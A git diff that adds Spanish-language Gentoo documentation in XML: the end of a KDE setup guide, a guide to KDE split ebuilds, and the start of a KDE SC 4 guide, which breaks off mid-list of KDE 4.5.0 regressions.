+DISPLAYMANAGER="kdm"
+</pre>
+
+<p>
+Finalice añadiendo <c>xdm</c> al nivel de ejecución default:
+</p>
+
+<pre caption="Agregar xdm al nivel de ejecución default">
+# <i>rc-update add xdm default</i>
+</pre>
+
+<p>
+Cuando reinicie la máquina, su sistema utilizará el gestor gráfico de
+acceso KDM.
+</p>
+
+<p>
+KDM suministrará una lista de sesiones gráficas disponibles para
+escoger, incluyendo KDE - por supuesto - y las demás sesiones
+instaladas en el sistema, la cuales encuentra KDM al examinar el
+directorio <path>/usr/share/xsessions/</path>. Así que, si usa KDM, no
+necesita modificar el fichero <path>~/.xinitrc</path>.
+</p>
+</body>
+</section>
+
+<section id="kde_device_mounting">
+<title>Configurar KDE para montar dispositivos</title>
+
+<!-- TODO agregar el paquete pmount cuando este sea estabilizado.
+          También agregar pmount al nivel de ejecución default -->
+
+<body>
+
+<p>
+KDE le da el poder de montar dispositivos como CDROMs o llaveros USB
+mediante un solo click en una interfaz gráfica. Para lograr este
+objetivo, necesita que KDE se haya compilado con <c>hal</c> en su
+variable USE y tener además <c>dbus</c> y <c>hal</c> instalados en su
+sistema. Debería también agregar <c>dbus</c> y <c>hal</c> a su nivel
+de ejecución default y agregarse al grupo <c>plugdev</c>.
+</p>
+
+<pre caption="Configurar el montaje de dispositivos">
+# <i>emerge --ask dbus hal</i>
+# <i>rc-update add dbus default</i>
+# <i>rc-update add hald default</i>
+<comment>Agregando &lt;usuario&gt; al grupo plugdev (Reemplace &lt;usuario&gt; con su nombre de usuario)</comment>
+# <i>gpasswd -a &lt;usuario&gt; plugdev</i>
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Administrar las instalaciones de KDE</title>
+<section>
+<title>Múltiples instalaciones</title>
+<body>
+
+<p>
+Una peculiaridad de la forma de administrar KDE en Gentoo es que
+cuando aparece una nueva serie de KDE (como la serie 3.5.X que
+reemplaza la serie 3.4.X), esta será instalada junto a la antigua y no
+la sobreescribirá. Así que si por ejemplo ya tenía KDE 3.4 en su
+sistema e instala KDE 3.5, tendrá la dos versiones, una instalada en
+<path>/usr/kde/3.4/</path> y la otra en <path>/usr/kde/3.5/</path>.
+</p>
+
+<p>
+Debe mencionarse que sus configuraciones para las diferentes
+instalaciones de KDE se mantendrán separadas en el directorio
+home. KDE 3.4 lee sus configuraciones desde el directorio
+<path>/home/&lt;user&gt;/.kde3.4</path> y la primera vez que ejecute
+KDE 3.5 se creará un directorio llamado
+<path>/home/&lt;user&gt;/.kde3.5</path> el cual migra los ajustes del
+directorio 3.4 y que luego será usado para almacenar las preferencias
+y datos.
+</p>
+
+<p>
+Otra importante observación para tener en mente cuando esté
+actualizando su instalación de KDE es que podría enfrentar problemas
+con las aplicaciones externas a KDE que tenga instaladas (tales como
+<c>koffice</c>, <c>amarok</c> o <c>k3b</c>) hasta que las recompile
+contra la nueva versión de KDE. Así que tan pronto empiece a usar el
+nuevo KDE debería reinstalar dichas aplicaciones para que queden
+enlazadas contra las nuevas bibliotecas.
+</p>
+</body>
+</section>
+
+<section>
+<title>Desinstalar versiones antiguas</title>
+<body>
+
+<p>
+Tener instaladas múltiples versiones de KDE plantea el problema de
+cómo borrar las antiguas cuando decidimos que no siguen siendo
+necesarias.  Desafortunadamente portage no ofrece soporte para
+desinstalar un paquete con todas sus dependencias mediante un único
+comando, así que por ejemplo si ejecuta <c>emerge --unmerge kde</c> no
+borrará los paquetes del kde más reciente en su sistema.
+</p>
+
+<p>
+Para borrar una instalación de KDE (por ejemplo, KDE 3.4), tienen que
+ser borrados los paquetes individuales.
+</p>
+
+<pre caption="Borrar los paquetes de KDE 3.4">
+# <i>emerge --unmerge =arts-3.4* =kdelibs-3.4* =kdebase-3.4* ...</i>
+</pre>
+
+<p>
+Esto obviamente es muy frustrante si tiene instalados muchos paquetes
+de KDE.  Sin embargo, esta operación puede ser automatizada de varias
+formas. La siguiente es un ejemplo.
+</p>
+
+<p>
+Primero listamos todos los paquetes que queremos borrar. Usaremos el
+comando <c>equery</c> para esto, el cual es parte del paquete
+<c>app-portage/gentoolkit</c>:
+</p>
+
+<pre caption="Listar los paquetes a borrar">
+<comment>(Lista todos los paquetes de KDE instalados)</comment>
+# <i>equery list kde-base/</i>
+<comment>(Lista todos los paquetes de KDE instalados y selecciona los de KDE 3.4)</comment>
+# <i>equery list kde-base/ | grep 3\.4</i>
+</pre>
+
+<p>
+En este punto debería realizar un doble chequeo sobre la lista
+correspondiente a los paquetes que deberían ser borrados del
+sistema. Si piensa que es correcta, siga adelante y pase la lista al
+comando <c>emerge --unmerge</c>.
+</p>
+
+<pre caption="Borrar los paquetes seleccionados">
+# <i>equery list kde-base/ | grep 3\.4 | xargs emerge --unmerge --pretend</i>
+</pre>
+
+<p>
+Revise nuevamente la salida y ejecute el mismo comando sin el
+parámetro <c>--pretend</c> para iniciar el proceso de desinstalación.
+</p>
+
+<p>
+Luego de haber finalizado el trabajo, el directorio
+<path>/usr/kde/3.4/</path> debería contener pocos ficheros
+(principalmente ficheros de configuración, portage tiene una política
+de nunca tocar las configuraciones). Si lo desea, puede eliminar con
+seguridad el directorio <path>/usr/kde/3.4/</path> junto a su
+contenido para borrar definitivamente lo que queda de KDE 3.4.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PUF (Preguntas de Uso Frecuente/FAQ)</title>
+<section>
+<title>KDE es extremadamente lento durante el inicio</title>
+<body>
+
+<p>
+Asegúrese de que el fichero <path>/etc/hosts</path> es correcto:
+</p>
+
+<ul>
+  <li>
+    Si tiene una IP fija, asegúrese de que su FQDN y el nombre de su
+    equipo se mencionen en esta línea, así <c>192.168.0.10
+    tux.mydomain tux</c>
+  </li>
+  <li>
+    Si tiene una IP dinámica o no tienes mas interfaces, añade el
+    nombre de tu equipo después de la definición del localhost así
+    <c>127.0.0.1 localhost tux</c>
+  </li>
+</ul>
+
+<p>
+Comprueba si tiene el DMA activado para tus discos :
+</p>
+
+<pre caption="Verificar la configuración DMA">
+# <i>hdparm /dev/hda</i>
+<comment>(...)</comment>
+using_dma       = 1 (on)
+<comment>(...)</comment>
+</pre>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/kde/kde-split-ebuilds.xml b/xml/htdocs/proj/es/desktop/kde/kde-split-ebuilds.xml
new file mode 100644
index 00000000..48fcad1a
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/kde/kde-split-ebuilds.xml
@@ -0,0 +1,548 @@
+<?xml version='1.0' encoding='UTF-8'?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/kde/kde-split-ebuilds.xml,v 1.3 2009/09/02 20:49:36 chiguire Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/doc/es/kde-split-ebuilds.xml" lang="es">
+<title>El COMO de los Ebuilds separados de KDE</title>
+
+<author title="Autor">
+  <mail link="danarmak@gentoo.org">Dan Armak</mail>
+</author>
+<author title="Editor">
+  <mail link="greg_g@gentoo.org">Gregorio Guidi</mail>
+</author>
+<author title="Editor">
+  <mail link="philantrop@gentoo.org">Wulf C. Krueger</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+<author title="Traductor">
+  <mail link="nmiyasato@datafull.com">Nicolás Miyasato</mail>
+</author>
+<author title="Traductor">
+  <mail link="anpereir@gentoo.com">Andrés Pereira</mail>
+</author>
+<author title="Traductor">
+  <mail link="mcklaren@gmail.com">Manuel Peral</mail>
+</author>
+<author title="Traductor">
+  <mail link="srinclan@gmail.com">Sergio D. Rodríguez Inclan</mail>
+</author>
+
+<abstract>
+Con el lanzamiento de KDE 3.4, se incorporaron a Portage los 'ebuilds
+separados'. Esta página documenta las razones detrás de esta
+transición, las nuevas funcionalidades brindadas por la misma y la
+forma de actualizar del viejo estilo de los ebuilds 'monolíticos'.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.13</version>
+<date>2008-11-22</date>
+
+<chapter>
+<title>Los ebuilds separados de KDE</title>
+<section>
+<title>¿Qué son?</title>
+<body>
+
+<p>
+Hasta enero del 2005, los únicos ebuilds de KDE en Portage eran los
+'monolíticos'. Eso significa que solamente existían 15 ebuilds
+(<c>kdebase</c>, <c>kdenetwork</c>, ...), y cada uno de ellos
+instalaba muchas aplicaciones que, de hecho, no dependían uno del
+otro. Esto era claramente una situación no muy óptima que digamos, y
+no sigue la filosofía Gentoo; pero fue tolerado por un largo tiempo.
+</p>
+
+<p>
+Los nuevos ebuilds 'separados' (para <c>konqueror</c>, <c>kmail</c>,
+...) han rectificado esta situación proporcionando ebuilds separados
+para todas las aplicaciones de KDE. Esto nos da un gran total de unos
+330 nuevos ebuilds en la categoría kde-base.
+</p>
+
+<p>
+Todavía proporcionamos ebuilds 'monolíticos' para KDE 3.5 (hasta la
+versión 3.5.9) que interoperan limpiamente con los 'separados'. Sin
+embargo, los ebuilds separados son la nueva forma por defecto y no habrá
+más ebuilds monolíticos después de KDE 3.5.9.
+</p>
+
+<p>
+También se encuentran los ebuilds separados para el Koffice. Estos nos
+proveen de <c>kword</c>, <c>kugar</c>, etc. como paquetes separados.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Cómo usarlos?</title>
+<body>
+
+<p>
+En el momento de edición de este documento, la última versión de KDE
+es la 3.5.9. La última versión inestable (~arch) es la 3.5.10. En
+Portage se encuentran los correspondientes ebuilds separados y
+monolíticos para ambas versiones. La última versión 4.1.x también está
+en el árbol.
+</p>
+
+<ul>
+  <li>
+    Para realizar un emerge de un paquete particular, como kmail,
+    simplemente debe ejecutar <c>emerge kmail</c>.
+  </li>
+  <li>
+   Para realizar un emerge del entorno básico del KDE en donde puedas
+   realizar un login del una sesión minimalística del KDE, tienes que
+   ejecutar <c>emerge kdebase-startkde</c>
+  </li>
+  <li>
+    Finalmente, para obtener el equivalente exacto a lo realizado por
+    un ebuild monolítico (por ejemplo, para instalar todas las
+    aplicaciones incluidas en <c>kdebase</c>) con ebuilds separados,
+    debe ejecutar <c>emerge kdebase-meta</c> (o <c>kdepim-meta</c>,
+    etc.). Para instalar absolutamente todo el paquete KDE ejecute
+    <c>emerge kde-meta</c>
+  </li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>¿Cómo actualizar ebuilds de monolíticos a separados?</title>
+<body>
+
+<p>
+Si tiene instalados los ebuilds monolíticos de KDE 3.4.x ó 3.5.x, debe
+desinstalarlos antes de proceder con los ebuilds separados. No
+obstante, este proceso puede ser hecho por partes, es decir, puede
+desinstalar los ebuilds monolíticos uno a uno sin tener que
+desinstalar todo KDE de una vez.
+</p>
+
+<p>
+Si tiene dudas, recuerde que hay dependencias bloqueantes entre cada
+ebuild monolítico y los ebuilds separados que derivan del
+primero. Portage no permitirá que se cree un estado ilegal, así que
+cualquier emerge o unmerge que permita estará correcto.
+</p>
+</body>
+</section>
+
+<section>
+<title>Ventajas de utilizar los ebuilds separados</title>
+<body>
+
+<p>
+Aquí se encuentra una breve lista de los beneficios obtenidos al
+pasarnos a los ebuilds separados:
+</p>
+
+<ul>
+  <li>
+    La mayoría de los paquetes no cambian entre versiones menores de
+    KDE. Por ejemplo, al realizar una actualización del 3.3.1 al
+    3.3.2, apenas cambian alrededor de 100 de los 320 paquetes. Los
+    paquetes separados nos permiten crear nuevos ebuilds solamente
+    para aquellos paquetes que realmente cambian, ahorrándonos (en
+    este ejemplo) más de dos tercios del tiempo en compilación en la
+    actualización.
+  </li>
+  <li>
+    Los parches usualmente afectan a un paquete en particular. Con los
+    ebuilds separados, pueden ser probados y realizar un commit de
+    ellos más rápido, y los desarrolladores tienen menos cosas para
+    hacer; y como en el ítem anterior, el usuario se ahorraría tiempo
+    en compilación al actualizar el KDE. En particular, esto es muy
+    importante para las actualizaciones de seguridad.
+  </li>
+  <li>
+    Los usuarios de otros entornos de escritorios y administradores de
+    ventanas más sencillos, pueden instalar vía emerge las
+    aplicaciones que quieran sin necesidad de instalar todas las demás
+    aplicaciones de, por ejemplo, <c>kdebase</c> o <c>kdepim</c>.
+  </li>
+  <li>
+    Los usuarios tienen un control más detallado con respecto a los
+    paquetes que tienen instalados. Las razones por las cuales querrá
+    esto son:
+    <ul>
+      <li>
+        Le importa el tiempo de compilación. <c>emerge kdebase kdepim
+        kdenetwork</c> tarda demasiado tiempo cuando lo único que
+        necesita es <c>konqueror</c>, <c>kmail</c> y <c>kopete</c>,
+        aparte la consideración que el tiempo es dinero ... en alguna
+        parte.
+      </li>
+      <li>
+        Le importa el uso del espacio en el disco. Cada paquete no
+        usado, malgasta muchos megabytes, "tapando los poros" del
+        disco. Un disco con más espacio libre puede "respirar mejor";
+        es un disco rígido feliz :).
+      </li>
+      <li>
+        Le importa la seguridad de su sistema. Todo el software
+        instalado es una fuente potencial de vulnerabilidades, y no
+        existe excusa alguna para andar teniendo software por ahí en
+        su sistema sin ser usado.
+      </li>
+      <li>
+        Es fiel adherente de la <uri
+        link="/main/es/philosophy.xml">Filosofía Gentoo</uri> y no
+        soporta el hecho que muchos programas estén en un enorme
+        paquete forzado sobre los usuarios. Nosotros tampoco lo
+        soportamos.
+      </li>
+    </ul>
+  </li>
+  <li>
+    Finalmente, los ebuilds separados también nos permiten más
+    flexibilidad con respecto al tiempo de compilación y el uso de los
+    parámetros USE.
+  </li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Interoperabilidad entre los ebuilds separados y
+monolíticos</title>
+<body>
+
+<p>
+Los ebuilds monolíticos y separados pueden ser mezclados
+libremente. La única restricción es que un ebuild monolítico no puede
+ser instalado al mismo tiempo que un ebuild separado derivado de
+este. Existen dependencias bloqueantes en los ebuilds que hagan esto,
+así que sólo podrá hacer cualquier cosa que emerge le permita.
+</p>
+
+<p>
+Sin embargo, por lo general, no existe razón alguna para utilizar una
+configuración mixta. De hecho, excepto en casos especiales, como que
+la compilación tarde demasiado (CPUs mips), debería utilizar los
+ebuilds separados.
+</p>
+
+<p>
+Los ebuilds separados son los ebuilds por defecto. Esto significa que
+cuando otro ebuild dependa de una aplicación de KDE, querrá instalar
+un ebuild separado. Sin embargo, el ebuild monolítico equivalente
+también cumpliría con la dependencia, de manera que puede realizar un
+emerge del ebuild monolítico manualmente y luego realizar el emerge
+del ebuild que depende del mismo.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Inconvenientes de rendimiento</title>
+<section>
+<title>¿Por qué los ebuilds separados son lentos?</title>
+<body>
+
+<p>
+Se ha <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=11123">dicho</uri> que
+debido a la sobrecarga de descomprimir y ejecutar 'configure' por cada
+paquete los ebuilds separados tomarán mucho más tiempo en realizar un
+emerge que los monolíticos. Un <c>emerge kde-meta</c> podría tomar un
+20-30% más que el clásico <c>emerge kde</c>, lo cual es inaceptable
+debido al ya largo tiempo de compilación.
+</p>
+
+<p>
+Además, en este momento los ebuilds separados siempre ejecutan <c>make
+-f admin/Makefile.cvs</c> (esto significa ejecutar autoconf, automake,
+etc. y demás guiones relacionados a KDE). Esto añade una tardanza
+adicional aproximadamente del mismo orden que demora al ejecutarse
+'configure'.
+</p>
+
+<p>
+Finalmente, un ebuild separado necesita extraer archivos específicos
+desde un archivo tar grande. Esto es más lento que realizar la
+extracción desde un archivo tar pequeño y dedicado. No obstante, crear
+archivos tar pequeños para el sistema de construcción basado en
+autotools del KDE 3.X es difícil.
+</p>
+
+<p>
+Vale la pena reiterar que con los ebuilds separados, el tiempo de
+actualización de KDE puede ser considerablemente reducido con el
+simple hecho de realizar una actualización de los paquetes que
+realmente cambian. El beneficio de una actualización única por lo
+general hace que valga la pena pasar por la sobrecarga inicial de la
+instalación.
+</p>
+
+<p>
+Finalmente, instalar todo el KDE tiene sentido si quiere explorar los
+paquetes disponibles o si está configurando un entorno multi-usuario;
+sin embargo, la mayoría de las personas utilizan sólo algunas de las
+más de 300 aplicaciones disponibles de KDE. Cualquier persona a quien
+le importe el tiempo de compilación, como los usuarios que poseen
+máquinas viejas, pueden ganar mas tiempo seleccionando solamente los
+paquetes que quieran.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Que se hará para acelerar los ebuilds separados?</title>
+<body>
+
+<p>
+La mayor parte o incluso todos los problemas de rendimiento de los
+ebuilds separados se relacionan a autotools - autoconf, automake y
+otras herramientas que gestionan el sistema de construcción
+<c>./configure;make;make install</c> usado en KDE 3.x.
+</p>
+
+<p>
+KDE 4 ha adoptado un sistema completamente nuevo de construcción,
+cmake, el cuál entre otras cosas reduce de gran manera el tiempo, y
+es equivalente a realizar un <c>make -f admin/Makefile.common;
+ ./configure</c>
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PFU (FAQ) de los ebuilds separados</title>
+<section>
+<title>¿Por qué hay algunos paquetes separados que les faltan las
+versiones de ebuilds más nuevas?</title>
+<body>
+
+<p>
+Como explicamos arriba, no todas las aplicaciones son verdaderamente
+actualizadas entre versiones menores de KDE, así no todas las
+aplicaciones tienen nuevas versiones de ebuild. Por ejemplo,
+libkdenetwork no fue actualizado en 3.5.0_beta2, de forma que el
+último ebuild disponible con aquella versión fue 3.5_beta1.
+</p>
+
+<p>
+Este se hace meramente para reducir el tiempo de compilación durante
+una actualización. Si hubiéramos hecho un ebuild
+libkdenetwork-3.5.0_beta2, este habría instalado precisamente los
+mismos archivos que el ebuild 3.5_beta1. Las varias dependencias son
+actualizadas para funcionar correctamente (es decir, no habrá ebuild
+alguno que dependa de libkdenetwork-3.5.0_beta2).
+</p>
+
+<p>
+Note que a causa de ésto, si desea instalar versiones enmascardas de KDE,
+podría también necesitar desenmascarar paquetes de versiones anteriores
+de KDE, si es que están enmascaradas. Puede que le sea de utilidad leer
+<uri link="https://bugs.gentoo.org/125126">éste bug</uri> para mayor
+información.
+</p>
+</body>
+</section>
+
+<section>
+<title>Actualmente, ¿no se puede hacer esto con
+DO_NOT_COMPILE?</title>
+<body>
+
+<p>
+DO_NOT_COMPILE es una variable de entorno interna que usa el sistema
+de construcción de KDE. Permite seleccionar los subdirectorios que no
+queremos que se compilen. Algunas personas lo usaban para compilar un
+subconjunto de los ebuilds monolíticos del KDE. Por ejemplo, si
+ejecutamos <c>DO_NOT_COMPILE=konqueror emerge kdebase</c>, entonces
+instalaríamos kdebase sin la aplicación <c>konqueror</c>.
+</p>
+
+<p>
+Sin embargo, DO_NOT_COMPILE nunca fue diseñado para interferir con la
+operación alguna con el sistema de administración de paquetes, en
+particular, Portage. No funciona, puede romper su sistema y jamás fue
+soportado. Les pedimos a todos que desistan de su uso.
+</p>
+
+<p>
+Aquí se detalla una lista parcial de los problemas que ocasiona
+DO_NOT_COMPILE:
+</p>
+
+<ul>
+  <li>
+    Rompe completamente con el sistema de localización de dependencias
+    de Portage. Portage no sabe nada acerca de DO_NOT_COMPILE, y
+    piensa que el paquete monolítico entero fue instalado y puede
+    satisfacer una dependencia de otro paquete. Esto puede causar que
+    otros paquetes no puedan ser instalados o que no puedan
+    ejecutarse.
+  </li>
+  <li>
+    Obliga al usuario a saber acerca de los nombres y significados de
+    todos los subdirectorios de los módulos del KDE. Muy pocos
+    usuarios saben acerca de esto, y a menos que sean desarrolladores
+    de KDE, no saben utilizar DO_NOT_COMPILE apropiadamente.
+  </li>
+  <li>
+    Los módulos de KDE pueden tener interdependencias entre ellos y
+    requieren de un orden en particular para poder ser construidos,
+    también requieren que otro subdirectorio se encuentre presente
+    incluso si no es necesario instalarlo. En este aspecto, hemos
+    puesto mucho trabajo en los ebuilds separados, de manera que
+    funcionen correctamente.  DO_NOT_COMPILE no se acerca ni un
+    poquito para poder ser una herramienta que consiga los mismos
+    resultados que los ebuilds separados, incluso si se le diera
+    suficiente información al usuario para poder usarlo. La única cosa
+    que hace es deshabilitar la compilación de un par de
+    aplicaciones. Es prácticamente imposible que sea utilizado para
+    seleccionar la instalación de determinadas aplicaciones de los
+    módulos como <c>kdebase</c> o <c>kdepim</c>.
+  </li>
+  <li>
+    Si ayer instalé kmail y hoy quisiera agregar korn, utilizando
+    DO_NOT_COMPILE, nos llevaría a compilar a kmail nuevamente. Esto
+    significa que DO_NOT_COMPILE siempre será mas lento que los
+    ebuilds separados.
+  </li>
+  <li>
+    DO_NOT_COMPILE no puede ser usado para realizar paquetes
+    precompilados (como el GRP) conteniendo aplicaciones individuales
+    del KDE.
+  </li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>¿No estarán colocándole demasiada carga a los mantenedores de
+Gentoo KDE?</title>
+<body>
+
+<p>
+Sorpresivamente, ésta es una pregunta que siempre hacen. Estamos
+halagados que los usuarios sean tan considerados con nosotros los
+mantenedores. Pero permítanos aprovechar esta oportunidad para
+decirles que nosotros estamos haciendo esto por nuestra propia
+voluntad; que creemos que podremos continuar manteniendo los ebuilds
+con una buena calidad; y que nadie nos podrá convencer que dejemos de
+hacerlo.
+</p>
+
+<p>
+Por completitud, mencionamos que los mantenedores de otras
+arquitecturas se han quejado por el gran aumento de trabajo que les
+toma realizar verificaciones y modificaciones a tantos ebuilds
+separados. Estamos trabajando para resolver esto y cabe aclarar que
+esto fue una de las grandes razones por las cuales existen todavía
+ebuilds monolíticos para el KDE 3.5.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Van a borrar los ebuilds monolíticos?</title>
+<body>
+
+<p>
+Tenemos la idea de, eventualmente, borrarlos. Sin embargo, existen ebuilds
+monolíticos y separados para las todas versiones de KDE 3 hasta la 3.5.9.
+Para KDE 3.5.10 y posteriores y para KDE4 ya no proporcionamos ebuilds
+monolíticos.
+</p>
+
+<p>
+Si prefiere utilizar los ebuilds monolíticos por sobre los separados,
+por favor, <uri link="http://bugs.gentoo.org">cuéntenos</uri> sus
+razones.
+</p>
+</body>
+</section>
+
+<section>
+<title>¡Hay tantos ebuilds!, ¿Cómo se supone que voy a encontrar los
+que necesito?</title>
+<body>
+
+<p>
+Bueno, primero que nada, si sabe que el paquete que está buscando se
+encuentra en kdebase, entonces puede, todavía, ejecutar <c>emerge
+kdebase-meta</c>, con casi los mismos resultados que si hubiese
+realizado un emerge del ebuild monolítico <c>kdebase</c>. Así que, en
+realidad, las cosas no han empeorado para nada debido a la
+introducción de los ebuilds separados.
+</p>
+
+<p>
+Obviamente, siguen vigentes todas las maneras de localizar un
+paquete. ¿Cómo encontraría su ebuild si fuese una aplicación de
+Gnome?. Mínimamente debería de saber, por lo menos, el nombre de la
+aplicación que estas buscando.
+</p>
+
+<p>
+Tal vez, la situación podría ser mejorada con la introducción de
+varios paquetes -meta. Solamente son listas de dependencias, así que
+no nos costaría nada. Esto todavía no ha sido decidido. Sin embargo
+sería bueno tener la funcionalidad de conjuntos en Portage antes de
+hacer esto en extenso.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Cómo puedo listar y/o realizar un unmerge de todos los ebuilds
+separados derivados de un paquete dado?</title>
+<body>
+
+<p>
+El objetivo aquí es el de listar todos los ebuilds de KDE derivados
+de, por ejemplo, el ebuild monolítico kde-base. Una vez más, una
+implementación apropiada (como <uri
+link="/proj/en/glep/glep-0021.html">GLEP 21</uri>) haría de esto algo
+trivial. Sin embargo, hoy, tiene que entender en cierto grado la
+implementación de las eclasses de KDE. Así que, si usa alguno de estos
+métodos en un guión que no sea para uso personal, por favor cuéntenos.
+</p>
+
+<p>
+kde-functions.eclass define las funciones llamadas
+get-parent-package() y get-child-packages() que llevan a cabo la
+"traducción". Estas dos funciones son la manera correcta de completar
+satisfactoriamente este trabajo a partir de un ebuild o de un guión
+de bash externo. Aquí le mostramos un ejemplo:
+</p>
+
+<pre caption="Ejemplo de uso de las funciones de kde-functions">
+$ <i>function die() { echo $@; } # se llama para reportar errores</i>
+$ <i>source /usr/portage/eclass/kde-functions.eclass</i>
+$ <i>get-parent-package konqueror # no va a funcionar, tiene que especificar el
+nombre completo</i>
+<i>Package konqueror not found in KDE_DERIVATION_MAP, please report bug # el error es mostrado en la salida</i>
+$ <i>get-parent-package kde-base/konqueror # nombre completo del paquete</i>
+<i>kde-base/kdebase # el resultado es mostrado por pantalla</i>
+$ <i>get-child-packages kde-base/kdebase</i>
+<i> # (una enorme lista de paquetes mostrado aquí)</i>
+</pre>
+
+<p>
+Si su guión no está escrito en bash, puede realizar un grep del
+kde-functions.eclass para extraer la definición (multilínea) de la
+variable KDE_DERIVATION_MAP, que las funciones mencionadas usan. Esta
+variable contiene una lista de palabras separadas por un espacio en
+blanco; y cada par de palabras consecutivas realizan un mapeo entre un
+paquete "padre" a un hijo ebuild separado.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/kde/kde4-guide.xml b/xml/htdocs/proj/es/desktop/kde/kde4-guide.xml
new file mode 100644
index 00000000..1ebf25cd
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/kde/kde4-guide.xml
@@ -0,0 +1,709 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/kde/kde4-guide.xml,v 1.8 2010/08/17 07:41:49 nimiux Exp $ -->
+
+<guide lang="es">
+<title>Guía KDE de Gentoo</title>
+
+<author title="Autor">
+  <mail link="tampakrap"/>
+</author>
+<author title="Autor">
+  <mail link="scarabeus"/>
+</author>
+<author title="Autor">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Autor">
+  <mail link="cryos"/>
+</author>
+<author title="Editor">
+  <mail link="keytoaster"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<abstract>
+Esta guía muestra como configurar KDE SC usando los ebuilds del árbol.
+Se usarán algunas herramientas del overlay git del equipo de KDE (kde).
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license
+ See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2</version>
+<date>2010-08-14</date>
+
+<chapter>
+<title>KDE 3</title>
+<section>
+<title>Información breve</title>
+<body>
+
+<p>
+El equipo de desarrollo principal ya no mantiene KDE 3, siendo su última
+publicación la 3.5.10. Además, muchas de las aplicaciones KDE 3 tampoco
+se mantienen ya que han sido o están siendo portadas a KDE4.
+</p>
+
+<p>
+En Gentoo, los ebuilds KDE 3 han sido eliminados del árbol Portage y se
+han movido al overlay <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde-sunset.git;a=summary">
+kde-sunset</uri> mantenido por usuarios (disponible en layman). Recuerde
+que este overlay es mantenido por el usuario únicamente y por lo tanto
+los miembros del equipo KDE no son responsables de su contenido. Si está
+interesado en ayudar a su mantenimiento, puede enviar un correo a
+<mail link="overlays"/> pidiendo acceso para realizar cambios. Si quiere
+informar de un error en este overlay, por favor no envíe un bug al
+Bugzilla de Gentoo. Use la lista de correo <uri
+link="http://archives.gentoo.org/gentoo-desktop/">gentoo-desktop</uri>. Las
+instrucciones para suscribirse puede encontrarlas <uri
+link="/main/es/lists.xml">aquí</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>KDE SC 4</title>
+<section>
+<title>Introducción</title>
+<body>
+
+<p>
+KDE SC 4 es la versión actual de KDE mantenida por el equipo principal de
+desarrollo. En Portage hay una versión estable y debería haber una ( o más
+de una) versiones inestables. En condiciones normales las nuevas versiones
+se hacen estables después de un mes. La versión de KDE SC 4 disponible en
+Portage es la 4.4.5 (estable por el equipo principal de desarrollo y por
+Gentoo).
+Además, el equipo de KDE ofrece <uri
+link="ftp://ftp.kde.org/pub/kde/unstable">instantáneas</uri> semanales y un
+<uri link="http://websvn.kde.org">árbol SVN activo</uri>. El equipo KDE de
+Gentoo ofrece estas instantáneas, la versión troncal y los últimos ebuilds
+con las ramificaciones (live), todo a través del overlay
+<c>kde</c>.
+</p>
+
+<p>
+Elija qué versión de KDE SC mejor se adapta a sus necesidades:
+</p>
+<table>
+  <tr>
+    <ti><uri link="#kde_portage">KDE SC de Portage (actualmente 4.4.5)
+    </uri></ti>
+  </tr>
+  <tr>
+    <ti><uri link="#snapshots">Instantáneas KDE SC (actualmente
+    4.4.XX)</uri></ti>
+  </tr>
+  <tr>
+    <ti><uri link="#live">Ebuilds live de KDE (actualmente 4.4.9999,
+    4.5.9999, 9999)</uri></ti>
+  </tr>
+</table>
+
+</body>
+</section>
+<section id="kde_portage">
+<title>Instalando KDE SC 4.4.5 (desde Portage)</title>
+<body>
+
+<note>
+Para minimizar los problemas, es recomendable comenzar con un entorno
+limpio. Lea más en <uri link="#cleanup">Limpiando KDE</uri>.
+</note>
+
+<p>
+La instalación se puede hacer usando metapaquetes o usando conjuntos.
+</p>
+
+<pre caption="Instalación de KDE usando metapaquetes">
+# <i>emerge -av kde-meta:4.4</i> <comment>(contiene todos los módulos KDE)</comment>
+# <i>emerge -av kdebase-meta:4.4 kdegames-meta:4.3</i> <comment>(instalación únicamente de módulos elegidos)</comment>
+</pre>
+
+<p>
+Para la instalación usando conjuntos, consulte <uri link="#sets">Usando
+conjuntos.</uri>
+</p>
+
+<note>
+KDE SC 4.5.0, la nueva versión KDE Software Compilation release, no
+será incluida en el árbol de portage debido a algunas regresiones
+no contempladas, las cuales incluyen:
+<uri link="https://bugs.kde.org/show_bug.cgi?id=230247">Bug en la
+notificación de arranque de akonadi</uri>
+<uri link="https://bugs.kde.org/show_bug.cgi?id=243991">Composición
+rota en NVidia/TwinView</uri>
+<uri link="https://bugs.kde.org/show_bug.cgi?id=247144">Bug en visor
+de carpetas Plasma</uri>
